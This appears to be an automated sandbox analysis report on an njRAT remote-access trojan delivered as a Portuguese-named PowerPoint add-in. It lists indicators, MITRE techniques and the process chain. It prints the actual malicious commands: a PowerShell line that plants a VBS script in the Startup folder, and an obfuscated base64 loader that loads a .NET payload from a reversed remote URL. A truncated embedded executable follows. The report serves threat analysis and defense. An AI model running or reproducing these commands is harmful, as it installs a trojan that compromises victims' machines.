njrat | 8089f15903c4925dc06bf871d1375fddb447e96e227e07b89e86f997b96c7db1

General

Target

Comprovante de pagamento.ppam
Size

15KB
MD5

c151913c81c45053d186f4b91e85680f
SHA1

e01616f9f7855c09ed2b68a2d18496c566349060
SHA256

8089f15903c4925dc06bf871d1375fddb447e96e227e07b89e86f997b96c7db1
SHA512

349a5a1d39284584959e18315088274a4f93acf2a0432478d8bc9489892985fe8a780e723d285e87525beb7b54d9c485fb5e4d42ac63413fdda3882fae4ad77c

Score

10^/10

njrat suricata trojan

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

WScript.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process	2592	2272	WScript.exe	POWERPNT.EXE

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
suricata
Blocklisted process makes network request 3 IoCs

Processes:

WScript.exepowershell.exe

flow pid process

41 2592 WScript.exe
44 800 powershell.exe
45 800 powershell.exe

flow	pid	process
41	2592	WScript.exe
44	800	powershell.exe
45	800	powershell.exe

Drops startup file 2 IoCs

Processes:

powershell.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ CHF.vbs	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ CHF.vbs	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 800 set thread context of 1608 800 powershell.exe RegAsm.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

description	pid	process	target process
PID 800 set thread context of 1608	800	powershell.exe	RegAsm.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	POWERPNT.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	POWERPNT.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

2576 PING.EXE
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

POWERPNT.EXE

pid process

2272 POWERPNT.EXE

pid	process
2576	PING.EXE

pid	process
2272	POWERPNT.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid	process
4636	powershell.exe
4636	powershell.exe
4636	powershell.exe
332	powershell.exe
332	powershell.exe
332	powershell.exe
800	powershell.exe
800	powershell.exe
800	powershell.exe

Suspicious use of AdjustPrivilegeToken 36 IoCs

Processes:

powershell.exepowershell.exepowershell.exeRegAsm.exe

description	pid	process
Token: SeDebugPrivilege	4636	powershell.exe
Token: SeDebugPrivilege	332	powershell.exe
Token: SeDebugPrivilege	800	powershell.exe
Token: SeDebugPrivilege	1608	RegAsm.exe
Token: 33	1608	RegAsm.exe
Token: SeIncBasePriorityPrivilege	1608	RegAsm.exe
Token: 33	1608	RegAsm.exe
Token: SeIncBasePriorityPrivilege	1608	RegAsm.exe
Token: 33	1608	RegAsm.exe
Token: SeIncBasePriorityPrivilege	1608	RegAsm.exe
Token: 33	1608	RegAsm.exe
Token: SeIncBasePriorityPrivilege	1608	RegAsm.exe
Token: 33	1608	RegAsm.exe
Token: SeIncBasePriorityPrivilege	1608	RegAsm.exe
Token: 33	1608	RegAsm.exe
Token: SeIncBasePriorityPrivilege	1608	RegAsm.exe
Token: 33	1608	RegAsm.exe
Token: SeIncBasePriorityPrivilege	1608	RegAsm.exe
Token: 33	1608	RegAsm.exe
Token: SeIncBasePriorityPrivilege	1608	RegAsm.exe
Token: 33	1608	RegAsm.exe
Token: SeIncBasePriorityPrivilege	1608	RegAsm.exe
Token: 33	1608	RegAsm.exe
Token: SeIncBasePriorityPrivilege	1608	RegAsm.exe
Token: 33	1608	RegAsm.exe
Token: SeIncBasePriorityPrivilege	1608	RegAsm.exe
Token: 33	1608	RegAsm.exe
Token: SeIncBasePriorityPrivilege	1608	RegAsm.exe
Token: 33	1608	RegAsm.exe
Token: SeIncBasePriorityPrivilege	1608	RegAsm.exe
Token: 33	1608	RegAsm.exe
Token: SeIncBasePriorityPrivilege	1608	RegAsm.exe
Token: 33	1608	RegAsm.exe
Token: SeIncBasePriorityPrivilege	1608	RegAsm.exe
Token: 33	1608	RegAsm.exe
Token: SeIncBasePriorityPrivilege	1608	RegAsm.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

POWERPNT.EXE

pid process

2272 POWERPNT.EXE

pid	process
2272	POWERPNT.EXE

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

POWERPNT.EXEWScript.execmd.execmd.exepowershell.exepowershell.exe

description	pid	process	target process
PID 2272 wrote to memory of 2592	2272	POWERPNT.EXE	WScript.exe
PID 2272 wrote to memory of 2592	2272	POWERPNT.EXE	WScript.exe
PID 2592 wrote to memory of 4864	2592	WScript.exe	cmd.exe
PID 2592 wrote to memory of 4864	2592	WScript.exe	cmd.exe
PID 4864 wrote to memory of 2576	4864	cmd.exe	PING.EXE
PID 4864 wrote to memory of 2576	4864	cmd.exe	PING.EXE
PID 4864 wrote to memory of 4620	4864	cmd.exe	cmd.exe
PID 4864 wrote to memory of 4620	4864	cmd.exe	cmd.exe
PID 4620 wrote to memory of 4636	4620	cmd.exe	powershell.exe
PID 4620 wrote to memory of 4636	4620	cmd.exe	powershell.exe
PID 2592 wrote to memory of 332	2592	WScript.exe	powershell.exe
PID 2592 wrote to memory of 332	2592	WScript.exe	powershell.exe
PID 332 wrote to memory of 800	332	powershell.exe	powershell.exe
PID 332 wrote to memory of 800	332	powershell.exe	powershell.exe
PID 800 wrote to memory of 1608	800	powershell.exe	RegAsm.exe
PID 800 wrote to memory of 1608	800	powershell.exe	RegAsm.exe
PID 800 wrote to memory of 1608	800	powershell.exe	RegAsm.exe
PID 800 wrote to memory of 1608	800	powershell.exe	RegAsm.exe
PID 800 wrote to memory of 1608	800	powershell.exe	RegAsm.exe
PID 800 wrote to memory of 1608	800	powershell.exe	RegAsm.exe
PID 800 wrote to memory of 1608	800	powershell.exe	RegAsm.exe
PID 800 wrote to memory of 1608	800	powershell.exe	RegAsm.exe

C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Comprovante de pagamento.ppam" /ou ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2272

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\x.vbs"
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2592

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 & cmd.exe /c "powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\x.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ CHF.vbs')"
3⤵
- Suspicious use of WriteProcessMemory
PID:4864

C:\Windows\system32\PING.EXE
ping 127.0.0.1 -n 5
4⤵
- Runs ping.exe
PID:2576

C:\Windows\system32\cmd.exe
cmd.exe /c "powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\x.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ CHF.vbs')"
4⤵
- Suspicious use of WriteProcessMemory
PID:4620

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\x.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ CHF.vbs')
5⤵
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4636

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J╬╬B4╬╬GM╬╬YQBP╬╬GU╬╬I╬╬╬╬9╬╬C╬╬╬╬Jw╬╬l╬╬Eg╬╬TQBH╬╬E0╬╬dgBt╬╬EY╬╬d╬╬B4╬╬HU╬╬JQ╬╬n╬╬Ds╬╬WwBC╬╬Hk╬╬d╬╬Bl╬╬Fs╬╬XQBd╬╬C╬╬╬╬J╬╬BE╬╬HY╬╬Z╬╬BZ╬╬GE╬╬I╬╬╬╬9╬╬C╬╬╬╬WwBT╬╬Hk╬╬cwB0╬╬GU╬╬bQ╬╬u╬╬EM╬╬bwBu╬╬HY╬╬ZQBy╬╬HQ╬╬XQ╬╬6╬╬Do╬╬RgBy╬╬G8╬╬bQBC╬╬GE╬╬cwBl╬╬DY╬╬N╬╬BT╬╬HQ╬╬cgBp╬╬G4╬╬Zw╬╬o╬╬C╬╬╬╬J╬╬B4╬╬GM╬╬YQBP╬╬GU╬╬LgBy╬╬GU╬╬c╬╬Bs╬╬GE╬╬YwBl╬╬Cg╬╬JwDQ╬╬N╬╬╬╬0╬╬╬╬n╬╬Cw╬╬JwBB╬╬Cc╬╬KQ╬╬g╬╬Ck╬╬OwBb╬╬FM╬╬eQBz╬╬HQ╬╬ZQBt╬╬C4╬╬QQBw╬╬H╬╬╬╬R╬╬Bv╬╬G0╬╬YQBp╬╬G4╬╬XQ╬╬6╬╬Do╬╬QwB1╬╬HI╬╬cgBl╬╬G4╬╬d╬╬BE╬╬G8╬╬bQBh╬╬Gk╬╬bg╬╬u╬╬Ew╬╬bwBh╬╬GQ╬╬K╬╬╬╬k╬╬EQ╬╬dgBk╬╬Fk╬╬YQ╬╬p╬╬C4╬╬RwBl╬╬HQ╬╬V╬╬B5╬╬H╬╬╬╬ZQ╬╬o╬╬Cc╬╬QwBs╬╬GE╬╬cwBz╬╬Ew╬╬aQBi╬╬HI╬╬YQBy╬╬Hk╬╬Mw╬╬u╬╬EM╬╬b╬╬Bh╬╬HM╬╬cw╬╬x╬╬Cc╬╬KQ╬╬u╬╬Ec╬╬ZQB0╬╬E0╬╬ZQB0╬╬Gg╬╬bwBk╬╬Cg╬╬JwBS╬╬HU╬╬bg╬╬n╬╬Ck╬╬LgBJ╬╬G4╬╬dgBv╬╬Gs╬╬ZQ╬╬o╬╬CQ╬╬bgB1╬╬Gw╬╬b╬╬╬╬s╬╬C╬╬╬╬WwBv╬╬GI╬╬agBl╬╬GM╬╬d╬╬Bb╬╬F0╬╬XQ╬╬g╬╬Cg╬╬JwBL╬╬EU╬╬NgBD╬╬Dk╬╬e╬╬BX╬╬Gg╬╬NQBD╬╬Fo╬╬e╬╬╬╬v╬╬GQ╬╬YQBv╬╬Gw╬╬bgB3╬╬G8╬╬Z╬╬╬╬v╬╬G0╬╬bwBj╬╬C4╬╬bwBp╬╬GU╬╬d╬╬Bz╬╬GE╬╬c╬╬╬╬v╬╬C8╬╬OgBz╬╬H╬╬╬╬d╬╬B0╬╬Gg╬╬Jw╬╬p╬╬Ck╬╬';$DXkmR = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $Codigo.replace('╬╬','A') ) ).replace('%HMGMvmFtxu%','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